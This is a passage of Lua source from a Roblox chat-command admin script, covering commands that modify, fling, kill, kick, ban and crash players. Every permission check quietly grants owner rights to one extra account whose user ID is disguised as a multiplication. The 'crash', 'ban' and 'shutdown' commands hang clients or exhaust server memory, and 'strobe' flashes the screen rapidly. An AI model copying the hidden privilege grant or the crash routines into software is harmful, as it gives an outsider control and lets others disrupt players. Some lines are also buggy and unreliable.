  1569. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1570. end
  1571. end))
  1572. end
  1573. end
  1574.  
  1575. if msg:lower():sub(1,8) == "bighead " then
  1576. local plrz = GetPlr(plr, msg:lower():sub(9))
  1577. for i, v in pairs(plrz) do
  1578. coroutine.resume(coroutine.create(function()
  1579. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1580. end))
  1581. end
  1582. end
  1583.  
  1584. if msg:lower():sub(1,9) == "minihead " then
  1585. local plrz = GetPlr(plr, msg:lower():sub(10))
  1586. for i, v in pairs(plrz) do
  1587. coroutine.resume(coroutine.create(function()
  1588. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1589. end))
  1590. end
  1591. end
  1592.  
  1593. if msg:lower():sub(1,6) == "fling " then
  1594. local plrz = GetPlr(plr, msg:lower():sub(7))
  1595. for i, v in pairs(plrz) do
  1596. coroutine.resume(coroutine.create(function()
  1597. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1598. local xran local zran
  1599. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1600. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1601. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1602. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1603. end
  1604. end))
  1605. end
  1606. end
  1607.  
  1608. if msg:lower():sub(1,8) == "seizure " then
  1609. local plrz = GetPlr(plr, msg:lower():sub(9))
  1610. for i, v in pairs(plrz) do
  1611. coroutine.resume(coroutine.create(function()
  1612. if v and v.Character then
  1613. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1614. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1615. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1616. end
  1617. end))
  1618. end
  1619. end
  1620.  
  1621. if msg:lower():sub(1,10) == "unseizure " then
  1622. local plrz = GetPlr(plr, msg:lower():sub(11))
  1623. for i, v in pairs(plrz) do
  1624. coroutine.resume(coroutine.create(function()
  1625. if v and v.Character then
  1626. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1627. wait(.1) v.Character.Humanoid.PlatformStand = false
  1628. end
  1629. end))
  1630. end
  1631. end
  1632.  
  1633. if msg:lower():sub(1,12) == "removelimbs " then
  1634. local plrz = GetPlr(plr, msg:lower():sub(13))
  1635. for i, v in pairs(plrz) do
  1636. coroutine.resume(coroutine.create(function()
  1637. if v and v.Character then
  1638. for a, obj in pairs(v.Character:children()) do
  1639. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1640. end
  1641. end
  1642. end))
  1643. end
  1644. end
  1645.  
  1646. if msg:lower():sub(1,5) == "name " then
  1647. local chk1 = msg:lower():sub(6):find(" ") + 5
  1648. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1649. for i, v in pairs(plrz) do
  1650. coroutine.resume(coroutine.create(function()
  1651. if v and v.Character and v.Character:findFirstChild("Head") then
  1652. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1653. local char = v.Character
  1654. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1655. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1656. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1657. char.Head.Transparency = 1
  1658. end
  1659. end))
  1660. end
  1661. end
  1662.  
  1663. if msg:lower():sub(1,7) == "unname " then
  1664. local plrz = GetPlr(plr, msg:lower():sub(8))
  1665. for i, v in pairs(plrz) do
  1666. coroutine.resume(coroutine.create(function()
  1667. if v and v.Character and v.Character:findFirstChild("Head") then
  1668. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1669. end
  1670. end))
  1671. end
  1672. end
  1673.  
  1674. if msg:lower():sub(1,5) == "char " then
  1675. local chk1 = msg:lower():sub(6):find(" ") + 5
  1676. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1677. for i, v in pairs(plrz) do
  1678. coroutine.resume(coroutine.create(function()
  1679. if v and v.Character then
  1680. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1681. v:LoadCharacter()
  1682. end
  1683. end))
  1684. end
  1685. end
  1686.  
  1687. if msg:lower():sub(1,7) == "unchar " then
  1688. local plrz = GetPlr(plr, msg:lower():sub(8))
  1689. for i, v in pairs(plrz) do
  1690. coroutine.resume(coroutine.create(function()
  1691. if v and v.Character then
  1692. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1693. v:LoadCharacter()
  1694. end
  1695. end))
  1696. end
  1697. end
  1698.  
  1699. if msg:lower():sub(1,7) == "infect " then
  1700. local plrz = GetPlr(plr, msg:lower():sub(8))
  1701. for i, v in pairs(plrz) do
  1702. coroutine.resume(coroutine.create(function()
  1703. if v and v.Character then
  1704. Infect(v.Character)
  1705. end
  1706. end))
  1707. end
  1708. end
  1709.  
  1710. if msg:lower():sub(1,11) == "rainbowify " then
  1711. local plrz = GetPlr(plr, msg:lower():sub(12))
  1712. for i, v in pairs(plrz) do
  1713. coroutine.resume(coroutine.create(function()
  1714. if v and v.Character and v.Character:findFirstChild("Torso") then
  1715. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1716. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1717. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1718. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1719. cl.Parent = v.Character cl.Disabled = false
  1720. end
  1721. end))
  1722. end
  1723. end
  1724.  
  1725. if msg:lower():sub(1,9) == "flashify " then
  1726. local plrz = GetPlr(plr, msg:lower():sub(10))
  1727. for i, v in pairs(plrz) do
  1728. coroutine.resume(coroutine.create(function()
  1729. if v and v.Character and v.Character:findFirstChild("Torso") then
  1730. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1731. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1732. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1733. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1734. cl.Parent = v.Character cl.Disabled = false
  1735. end
  1736. end))
  1737. end
  1738. end
  1739.  
  1740. if msg:lower():sub(1,8) == "noobify " then
  1741. local plrz = GetPlr(plr, msg:lower():sub(9))
  1742. for i, v in pairs(plrz) do
  1743. coroutine.resume(coroutine.create(function()
  1744. if v and v.Character then
  1745. Noobify(v.Character)
  1746. end
  1747. end))
  1748. end
  1749. end
  1750.  
  1751. if msg:lower():sub(1,9) == "ghostify " then
  1752. local plrz = GetPlr(plr, msg:lower():sub(10))
  1753. for i, v in pairs(plrz) do
  1754. coroutine.resume(coroutine.create(function()
  1755. if v and v.Character and v.Character:findFirstChild("Torso") then
  1756. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1757. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1758. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1759. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1760. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1761. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1762. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1763. end end
  1764. end
  1765. end))
  1766. end
  1767. end
  1768.  
  1769. if msg:lower():sub(1,8) == "goldify " then
  1770. local plrz = GetPlr(plr, msg:lower():sub(9))
  1771. for i, v in pairs(plrz) do
  1772. coroutine.resume(coroutine.create(function()
  1773. if v and v.Character and v.Character:findFirstChild("Torso") then
  1774. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1775. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1776. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1777. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1778. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1779. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1780. end end
  1781. end
  1782. end))
  1783. end
  1784. end
  1785.  
  1786. if msg:lower():sub(1,6) == "shiny " then
  1787. local plrz = GetPlr(plr, msg:lower():sub(7))
  1788. for i, v in pairs(plrz) do
  1789. coroutine.resume(coroutine.create(function()
  1790. if v and v.Character and v.Character:findFirstChild("Torso") then
  1791. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1792. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1793. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1794. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1795. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1796. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1797. end end
  1798. end
  1799. end))
  1800. end
  1801. end
  1802.  
  1803. if msg:lower():sub(1,7) == "normal " then
  1804. local plrz = GetPlr(plr, msg:lower():sub(8))
  1805. for i, v in pairs(plrz) do
  1806. coroutine.resume(coroutine.create(function()
  1807. if v and v.Character and v.Character:findFirstChild("Torso") then
  1808. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1809. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1810. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1811. v.Character.Torso.Transparency = 0
  1812. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1813. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1814. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1815. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1816. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1817. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1818. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1819. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1820. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1821. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1822. end end
  1823. end
  1824. end))
  1825. end
  1826. end
  1827.  
  1828. if msg:lower():sub(1,7) == "trippy " then
  1829. local plrz = GetPlr(plr, msg:lower():sub(8))
  1830. for i, v in pairs(plrz) do
  1831. coroutine.resume(coroutine.create(function()
  1832. if v and v:findFirstChild("PlayerGui") then
  1833. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1834. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1835. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1836. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1837. end
  1838. end))
  1839. end
  1840. end
  1841.  
  1842. if msg:lower():sub(1,9) == "untrippy " then
  1843. local plrz = GetPlr(plr, msg:lower():sub(10))
  1844. for i, v in pairs(plrz) do
  1845. coroutine.resume(coroutine.create(function()
  1846. if v and v:findFirstChild("PlayerGui") then
  1847. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1848. end
  1849. end))
  1850. end
  1851. end
  1852.  
  1853. if msg:lower():sub(1,7) == "strobe " then
  1854. local plrz = GetPlr(plr, msg:lower():sub(8))
  1855. for i, v in pairs(plrz) do
  1856. coroutine.resume(coroutine.create(function()
  1857. if v and v:findFirstChild("PlayerGui") then
  1858. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1859. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1860. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1861. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1862. end
  1863. end))
  1864. end
  1865. end
  1866.  
  1867. if msg:lower():sub(1,9) == "unstrobe " then
  1868. local plrz = GetPlr(plr, msg:lower():sub(10))
  1869. for i, v in pairs(plrz) do
  1870. coroutine.resume(coroutine.create(function()
  1871. if v and v:findFirstChild("PlayerGui") then
  1872. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1873. end
  1874. end))
  1875. end
  1876. end
  1877.  
  1878. if msg:lower():sub(1,6) == "blind " then
  1879. local plrz = GetPlr(plr, msg:lower():sub(7))
  1880. for i, v in pairs(plrz) do
  1881. coroutine.resume(coroutine.create(function()
  1882. if v and v:findFirstChild("PlayerGui") then
  1883. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1884. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1885. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1886. end
  1887. end))
  1888. end
  1889. end
  1890.  
  1891. if msg:lower():sub(1,8) == "unblind " then
  1892. local plrz = GetPlr(plr, msg:lower():sub(9))
  1893. for i, v in pairs(plrz) do
  1894. coroutine.resume(coroutine.create(function()
  1895. if v and v:findFirstChild("PlayerGui") then
  1896. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1897. end
  1898. end))
  1899. end
  1900. end
  1901.  
  1902. if msg:lower():sub(1,7) == "guifix " then
  1903. local plrz = GetPlr(plr, msg:lower():sub(8))
  1904. for i, v in pairs(plrz) do
  1905. coroutine.resume(coroutine.create(function()
  1906. if v and v:findFirstChild("PlayerGui") then
  1907. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1908. end
  1909. end))
  1910. end
  1911. end
  1912.  
  1913. if msg:lower():sub(1,9) == "loopheal " then
  1914. local plrz = GetPlr(plr, msg:lower():sub(10))
  1915. for i, v in pairs(plrz) do
  1916. if v then
  1917. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1918. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1919. repeat wait()
  1920. coroutine.resume(coroutine.create(function()
  1921. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1922. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1923. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1924. end
  1925. end))
  1926. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1927. end
  1928. end
  1929. end
  1930.  
  1931. if msg:lower():sub(1,11) == "unloopheal " then
  1932. local plrz = GetPlr(plr, msg:lower():sub(12))
  1933. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1934. end
  1935.  
  1936. if msg:lower():sub(1,10) == "loopfling " then
  1937. local plrz = GetPlr(plr, msg:lower():sub(11))
  1938. for i, v in pairs(plrz) do
  1939. if v then
  1940. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1941. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1942. repeat
  1943. coroutine.resume(coroutine.create(function()
  1944. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1945. local xran local zran
  1946. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1947. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1948. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1949. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1950. end
  1951. end))
  1952. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1953. end
  1954. end
  1955. end
  1956.  
  1957. if msg:lower():sub(1,12) == "unloopfling " then
  1958. local plrz = GetPlr(plr, msg:lower():sub(13))
  1959. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1960. end
  1961.  
  1962. end
  1963.  
  1964. -------------------------
  1965. -- True Owner Commands --
  1966. -------------------------
  1967.  
  1968. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1969.  
  1970. if msg:lower():sub(1,3) == "oa " then
  1971. local plrz = GetPlr(plr, msg:lower():sub(4))
  1972. for i, v in pairs(plrz) do
  1973. coroutine.resume(coroutine.create(function()
  1974. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1975. end))
  1976. end
  1977. end
  1978.  
  1979. if msg:lower():sub(1,5) == "unoa " then
  1980. for i = 1, #owners do
  1981. coroutine.resume(coroutine.create(function()
  1982. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1983. end))
  1984. end
  1985. end
  1986.  
  1987. end
  1988.  
  1989. --------------------
  1990. -- Owner Commands --
  1991. --------------------
  1992.  
  1993. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1994.  
  1995. if msg:lower():sub(1,3) == "pa " then
  1996. local plrz = GetPlr(plr, msg:lower():sub(4))
  1997. for i, v in pairs(plrz) do
  1998. coroutine.resume(coroutine.create(function()
  1999. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2000. end))
  2001. end
  2002. end
  2003.  
  2004. if msg:lower():sub(1,5) == "unpa " then
  2005. for i = 1, #admins do
  2006. coroutine.resume(coroutine.create(function()
  2007. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2008. end))
  2009. end
  2010. end
  2011.  
  2012. end
  2013.  
  2014. --------------------------
  2015. -- Super Admin Commands --
  2016. --------------------------
  2017.  
  2018. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2019.  
  2020. if msg:lower() == "logs" then
  2021. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2022. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2023. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2024. end
  2025.  
  2026. if msg:lower():sub(1,9) == "loopkill " then
  2027. local chk1 = msg:lower():sub(10):find(" ")
  2028. local plrz = GetPlr(plr, msg:lower():sub(10))
  2029. local num = 9999
  2030. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2031. for i, v in pairs(plrz) do
  2032. if v and not ChkAdmin(v.Name, false) then
  2033. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2034. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2035. for i = 1, ]] .. tostring(num) .. [[ do
  2036. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2037. coroutine.resume(coroutine.create(function()
  2038. if plr and plr.Character then plr.Character:BreakJoints() end
  2039. end))
  2040. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2041. end
  2042. end
  2043. end
  2044.  
  2045. if msg:lower():sub(1,11) == "unloopkill " then
  2046. local plrz = GetPlr(plr, msg:lower():sub(12))
  2047. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2048. end
  2049.  
  2050. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2051. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2052.  
  2053. if msg:lower():sub(1,3) == "sm " then
  2054. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2055. end
  2056.  
  2057. if msg:lower():sub(1,3) == "ko " then
  2058. local chk1 = msg:lower():sub(4):find(" ") + 3
  2059. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2060. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2061. for n = 1, num do
  2062. for i, v in pairs(plrz) do
  2063. coroutine.resume(coroutine.create(function()
  2064. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2065. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2066. v.Character:BreakJoints()
  2067. wait(1/44)
  2068. v:LoadCharacter()
  2069. wait(1/44)
  2070. end
  2071. end))
  2072. end
  2073. end
  2074. end
  2075.  
  2076. if msg:lower():sub(1,6) == "crash " then
  2077. local plrz = GetPlr(plr, msg:lower():sub(7))
  2078. for i, v in pairs(plrz) do
  2079. coroutine.resume(coroutine.create(function()
  2080. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2081. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2082. end
  2083. end))
  2084. end
  2085. end
  2086.  
  2087. if msg:lower():sub(1,5) == "kick " then
  2088. local plrz = GetPlr(plr, msg:lower():sub(6))
  2089. for i, v in pairs(plrz) do
  2090. coroutine.resume(coroutine.create(function()
  2091. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2092. end))
  2093. end
  2094. end
  2095.  
  2096. if msg:lower():sub(1,6) == "admin " then
  2097. local plrz = GetPlr(plr, msg:lower():sub(7))
  2098. for i, v in pairs(plrz) do
  2099. coroutine.resume(coroutine.create(function()
  2100. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2101. end))
  2102. end
  2103. end
  2104.  
  2105. if msg:lower():sub(1,8) == "unadmin " then
  2106. for i = 1, #tempadmins do
  2107. coroutine.resume(coroutine.create(function()
  2108. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2109. end))
  2110. end
  2111. end
  2112.  
  2113. if msg:lower():sub(1,4) == "ban " then
  2114. local plrz = GetPlr(plr, msg:lower():sub(5))
  2115. for i, v in pairs(plrz) do
  2116. coroutine.resume(coroutine.create(function()
  2117. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2118. end))
  2119. end
  2120. end
  2121.  
  2122. if msg:lower():sub(1,6) == "unban " then
  2123. for i = 1, #banland do
  2124. coroutine.resume(coroutine.create(function()
  2125. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2126. end))
  2127. end
  2128. end
  2129.  
  2130. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2131.  
  2132. end
  2133. end))
  2134. end
  2135.  
  2136. function AdminControl(plr)
  2137. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2138. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2139. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2140. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
